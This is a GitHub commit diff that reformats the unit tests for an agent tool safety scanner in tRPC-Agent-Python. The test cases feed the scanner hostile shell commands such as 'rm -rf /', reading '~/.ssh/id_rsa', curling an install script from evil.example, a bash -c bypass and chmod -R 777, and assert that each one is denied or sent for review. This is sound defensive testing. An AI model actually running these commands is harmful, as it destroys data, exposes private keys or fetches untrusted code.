Skip to content

Commit eaa02fb

Browse files
committed
style(safety): apply yapf formatting to pass lint CI
Signed-off-by: coder-mtj <coder-mtj@users.noreply.github.com>
1 parent cca2a04 commit eaa02fb

9 files changed

Lines changed: 477 additions & 229 deletions

File tree

tests/tools/safety/test_scanner.py

Lines changed: 62 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -4,125 +4,162 @@
44
# Copyright (C) 2026 Tencent. All rights reserved.
55
#
66
# tRPC-Agent-Python is licensed under Apache-2.0.
7-
87
"""Core scanner tests — 12 required samples + edge cases."""
98

109
import pytest
1110
from trpc_agent_sdk.tools.safety._types import (
12-
Request, CodeBlock, DECISION_ALLOW, DECISION_DENY,
13-
DECISION_ASK, DECISION_NEEDS_HUMAN_REVIEW,
14-
RISK_LOW, RISK_HIGH, RISK_CRITICAL,
11+
Request,
12+
CodeBlock,
13+
DECISION_ALLOW,
14+
DECISION_DENY,
15+
DECISION_ASK,
16+
DECISION_NEEDS_HUMAN_REVIEW,
17+
RISK_LOW,
18+
RISK_HIGH,
19+
RISK_CRITICAL,
1520
)
1621
from trpc_agent_sdk.tools.safety._policy import default_policy
1722
from trpc_agent_sdk.tools.safety._scanner import scan
1823

19-
2024
POLICY = default_policy()
2125

22-
2326
# ========== 12 core test cases (aligned with Go reference) ==========
2427

28+
2529
def test_safe_go_test():
2630
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="go test ./..."), POLICY)
2731
assert report.decision == DECISION_ALLOW
2832

33+
2934
def test_dangerous_delete():
3035
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="rm -rf /"), POLICY)
3136
assert report.decision == DECISION_DENY
3237
assert report.rule_id == "dangerous.rm_rf"
3338

39+
3440
def test_read_key():
3541
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="cat ~/.ssh/id_rsa"), POLICY)
3642
assert report.decision == DECISION_DENY
3743
assert report.rule_id == "sensitive.path_access"
3844

45+
3946
def test_non_whitelist_network():
40-
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="curl https://evil.example/install.sh"), POLICY)
47+
report = scan(
48+
Request(tool_name="workspace_exec", backend="workspaceexec", command="curl https://evil.example/install.sh"),
49+
POLICY)
4150
assert report.decision == DECISION_DENY
4251
assert report.rule_id == "network.non_whitelisted_domain"
4352

53+
4454
def test_whitelist_network():
45-
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="curl https://api.github.com/repos/x/y"), POLICY)
55+
report = scan(
56+
Request(tool_name="workspace_exec", backend="workspaceexec", command="curl https://api.github.com/repos/x/y"),
57+
POLICY)
4658
assert report.decision == DECISION_ALLOW
4759

60+
4861
def test_shell_bypass():
49-
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="bash -c 'curl https://evil.example/x'"), POLICY)
62+
report = scan(
63+
Request(tool_name="workspace_exec", backend="workspaceexec", command="bash -c 'curl https://evil.example/x'"),
64+
POLICY)
5065
assert report.decision == DECISION_DENY
5166
assert report.rule_id == "shell.bypass"
5267

68+
5369
def test_pipeline_review():
5470
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="cat README.md | wc -l"), POLICY)
5571
assert report.decision == DECISION_NEEDS_HUMAN_REVIEW
5672
assert report.rule_id == "shell.pipeline_review"
5773

74+
5875
def test_dependency_install():
5976
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="npm install left-pad"), POLICY)
6077
assert report.decision == DECISION_NEEDS_HUMAN_REVIEW
6178
assert report.rule_id == "dependency.environment_change"
6279

80+
6381
def test_long_sleep():
6482
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="sleep 9999"), POLICY)
6583
assert report.decision == DECISION_NEEDS_HUMAN_REVIEW
6684
assert report.rule_id == "resource.long_sleep"
6785

86+
6887
def test_hostexec_long_session():
69-
report = scan(Request(
70-
tool_name="exec_command", backend="hostexec",
71-
command="tail -f app.log", tty=True, background=True,
72-
), POLICY)
88+
report = scan(
89+
Request(
90+
tool_name="exec_command",
91+
backend="hostexec",
92+
command="tail -f app.log",
93+
tty=True,
94+
background=True,
95+
), POLICY)
7396
assert report.decision == DECISION_NEEDS_HUMAN_REVIEW
7497
assert report.rule_id == "hostexec.long_session"
7598

99+
76100
def test_code_block_host_bridge():
77-
report = scan(Request(
78-
tool_name="execute_code", backend="codeexec",
79-
code_blocks=[CodeBlock(language="python", code="import subprocess; subprocess.run(['ls'])")],
80-
), POLICY)
101+
report = scan(
102+
Request(
103+
tool_name="execute_code",
104+
backend="codeexec",
105+
code_blocks=[CodeBlock(language="python", code="import subprocess; subprocess.run(['ls'])")],
106+
), POLICY)
81107
assert report.decision == DECISION_NEEDS_HUMAN_REVIEW
82108
assert report.rule_id == "codeexec.host_command_bridge"
83109

110+
84111
def test_secret_leak():
85-
report = scan(Request(
86-
tool_name="workspace_exec", backend="workspaceexec",
87-
command="echo OPENAI_API_KEY=sk-1234567890abcdef",
88-
), POLICY)
112+
report = scan(
113+
Request(
114+
tool_name="workspace_exec",
115+
backend="workspaceexec",
116+
command="echo OPENAI_API_KEY=sk-1234567890abcdef",
117+
), POLICY)
89118
assert report.decision == DECISION_DENY
90119
assert report.rule_id == "sensitive.secret_leak"
91120

92121

93122
# ========== Edge case tests ==========
94123

124+
95125
def test_empty_command():
96126
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command=""), POLICY)
97127
assert report.decision == DECISION_DENY
98128
assert report.rule_id == "command.empty"
99129

130+
100131
def test_denied_cwd():
101132
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="ls", cwd="~/.ssh"), POLICY)
102133
assert report.decision == DECISION_DENY
103134
assert report.rule_id == "sensitive.cwd_access"
104135

136+
105137
def test_chmod_recursive():
106138
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="chmod -R 777 ."), POLICY)
107139
assert report.decision == DECISION_NEEDS_HUMAN_REVIEW
108140
assert report.rule_id == "dangerous.recursive_chmod"
109141

142+
110143
def test_500_line_scan_under_1s():
111144
import time
112145
code = "\n".join(['print(f"line {i}")' for i in range(500)])
113146
start = time.time()
114-
report = scan(Request(
115-
tool_name="execute_code", backend="codeexec",
116-
code_blocks=[CodeBlock(language="python", code=code)],
117-
), POLICY)
147+
report = scan(
148+
Request(
149+
tool_name="execute_code",
150+
backend="codeexec",
151+
code_blocks=[CodeBlock(language="python", code=code)],
152+
), POLICY)
118153
elapsed = time.time() - start
119154
assert elapsed < 1.0, f"500-line scan took {elapsed:.2f}s"
120155
assert report.decision == DECISION_ALLOW
121156

157+
122158
def test_unicode_command():
123159
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="echo 你好世界"), POLICY)
124160
assert report.decision == DECISION_ALLOW
125161

162+
126163
def test_none_policy_defaults():
127164
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="echo hi"), None)
128165
assert report.decision == DECISION_ALLOW

tests/tools/safety/test_types.py

Lines changed: 50 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,6 @@
44
# Copyright (C) 2026 Tencent. All rights reserved.
55
#
66
# tRPC-Agent-Python is licensed under Apache-2.0.
7-
87
"""Unit tests for safety scanner type definitions.
98
109
Mirrors trpc-agent-go/tool/safety/safety.go types.
@@ -18,10 +17,14 @@
1817

1918

2019
class TestDecision:
20+
2121
def test_decision_constants(self):
2222
from trpc_agent_sdk.tools.safety._types import (
23-
Decision, DECISION_ALLOW, DECISION_DENY,
24-
DECISION_ASK, DECISION_NEEDS_HUMAN_REVIEW,
23+
Decision,
24+
DECISION_ALLOW,
25+
DECISION_DENY,
26+
DECISION_ASK,
27+
DECISION_NEEDS_HUMAN_REVIEW,
2528
)
2629
assert Decision(DECISION_ALLOW) == Decision("allow")
2730
assert Decision(DECISION_DENY) == Decision("deny")
@@ -30,8 +33,11 @@ def test_decision_constants(self):
3033

3134
def test_decision_rank_order(self):
3235
from trpc_agent_sdk.tools.safety._types import (
33-
DECISION_ALLOW, DECISION_ASK, DECISION_NEEDS_HUMAN_REVIEW,
34-
DECISION_DENY, decision_rank,
36+
DECISION_ALLOW,
37+
DECISION_ASK,
38+
DECISION_NEEDS_HUMAN_REVIEW,
39+
DECISION_DENY,
40+
decision_rank,
3541
)
3642
assert decision_rank(DECISION_DENY) > decision_rank(DECISION_NEEDS_HUMAN_REVIEW)
3743
assert decision_rank(DECISION_NEEDS_HUMAN_REVIEW) > decision_rank(DECISION_ASK)
@@ -43,9 +49,13 @@ def test_decision_str_value(self):
4349

4450

4551
class TestRiskLevel:
52+
4653
def test_risk_level_constants(self):
4754
from trpc_agent_sdk.tools.safety._types import (
48-
RISK_LOW, RISK_MEDIUM, RISK_HIGH, RISK_CRITICAL,
55+
RISK_LOW,
56+
RISK_MEDIUM,
57+
RISK_HIGH,
58+
RISK_CRITICAL,
4959
)
5060
assert RISK_LOW.value == "low"
5161
assert RISK_MEDIUM.value == "medium"
@@ -54,14 +64,19 @@ def test_risk_level_constants(self):
5464

5565
def test_risk_rank_order(self):
5666
from trpc_agent_sdk.tools.safety._types import (
57-
RISK_LOW, RISK_MEDIUM, RISK_HIGH, RISK_CRITICAL, risk_rank,
67+
RISK_LOW,
68+
RISK_MEDIUM,
69+
RISK_HIGH,
70+
RISK_CRITICAL,
71+
risk_rank,
5872
)
5973
assert risk_rank(RISK_CRITICAL) > risk_rank(RISK_HIGH)
6074
assert risk_rank(RISK_HIGH) > risk_rank(RISK_MEDIUM)
6175
assert risk_rank(RISK_MEDIUM) > risk_rank(RISK_LOW)
6276

6377

6478
class TestFinding:
79+
6580
def test_finding_fields(self):
6681
from trpc_agent_sdk.tools.safety._types import Finding, DECISION_DENY, RISK_CRITICAL
6782
f = Finding(
@@ -77,27 +92,38 @@ def test_finding_fields(self):
7792

7893
def test_finding_beats_by_decision(self):
7994
from trpc_agent_sdk.tools.safety._types import (
80-
Finding, finding_beats, DECISION_DENY, DECISION_ALLOW,
81-
RISK_LOW, RISK_CRITICAL,
95+
Finding,
96+
finding_beats,
97+
DECISION_DENY,
98+
DECISION_ALLOW,
99+
RISK_LOW,
100+
RISK_CRITICAL,
82101
)
83102
bad = Finding(DECISION_DENY, RISK_LOW, "r1", ["ev"], "rec")
84103
good = Finding(DECISION_ALLOW, RISK_CRITICAL, "r2", ["ev"], "rec")
85104
assert finding_beats(bad, good), "deny should beat allow regardless of risk"
86105

87106
def test_finding_beats_by_risk_when_same_decision(self):
88107
from trpc_agent_sdk.tools.safety._types import (
89-
Finding, finding_beats, DECISION_DENY,
90-
RISK_LOW, RISK_CRITICAL,
108+
Finding,
109+
finding_beats,
110+
DECISION_DENY,
111+
RISK_LOW,
112+
RISK_CRITICAL,
91113
)
92114
critical = Finding(DECISION_DENY, RISK_CRITICAL, "r1", ["ev"], "rec")
93115
low = Finding(DECISION_DENY, RISK_LOW, "r2", ["ev"], "rec")
94116
assert finding_beats(critical, low), "critical should beat low for same decision"
95117

96118

97119
class TestReport:
120+
98121
def test_report_serialization(self):
99122
from trpc_agent_sdk.tools.safety._types import (
100-
Report, Finding, DECISION_ALLOW, RISK_LOW,
123+
Report,
124+
Finding,
125+
DECISION_ALLOW,
126+
RISK_LOW,
101127
)
102128
r = Report(
103129
decision=DECISION_ALLOW,
@@ -117,7 +143,9 @@ def test_report_serialization(self):
117143

118144
def test_report_blocked_if_deny(self):
119145
from trpc_agent_sdk.tools.safety._types import (
120-
Report, DECISION_DENY, RISK_HIGH,
146+
Report,
147+
DECISION_DENY,
148+
RISK_HIGH,
121149
)
122150
r = Report(
123151
decision=DECISION_DENY,
@@ -134,7 +162,9 @@ def test_report_blocked_if_deny(self):
134162

135163
def test_span_attributes(self):
136164
from trpc_agent_sdk.tools.safety._types import (
137-
Report, DECISION_DENY, RISK_CRITICAL,
165+
Report,
166+
DECISION_DENY,
167+
RISK_CRITICAL,
138168
)
139169
r = Report(
140170
decision=DECISION_DENY,
@@ -155,9 +185,12 @@ def test_span_attributes(self):
155185

156186

157187
class TestAuditEvent:
188+
158189
def test_audit_event_jsonl(self):
159190
from trpc_agent_sdk.tools.safety._types import (
160-
AuditEvent, DECISION_DENY, RISK_HIGH,
191+
AuditEvent,
192+
DECISION_DENY,
193+
RISK_HIGH,
161194
)
162195
import time
163196
evt = AuditEvent(
@@ -178,6 +211,7 @@ def test_audit_event_jsonl(self):
178211

179212

180213
class TestPolicy:
214+
181215
def test_policy_defaults(self):
182216
from trpc_agent_sdk.tools.safety._types import Policy
183217
p = Policy()
@@ -198,6 +232,7 @@ def test_policy_fields(self):
198232

199233

200234
class TestRequest:
235+
201236
def test_request_fields(self):
202237
from trpc_agent_sdk.tools.safety._types import Request
203238
r = Request(

0 commit comments

Comments
 (0)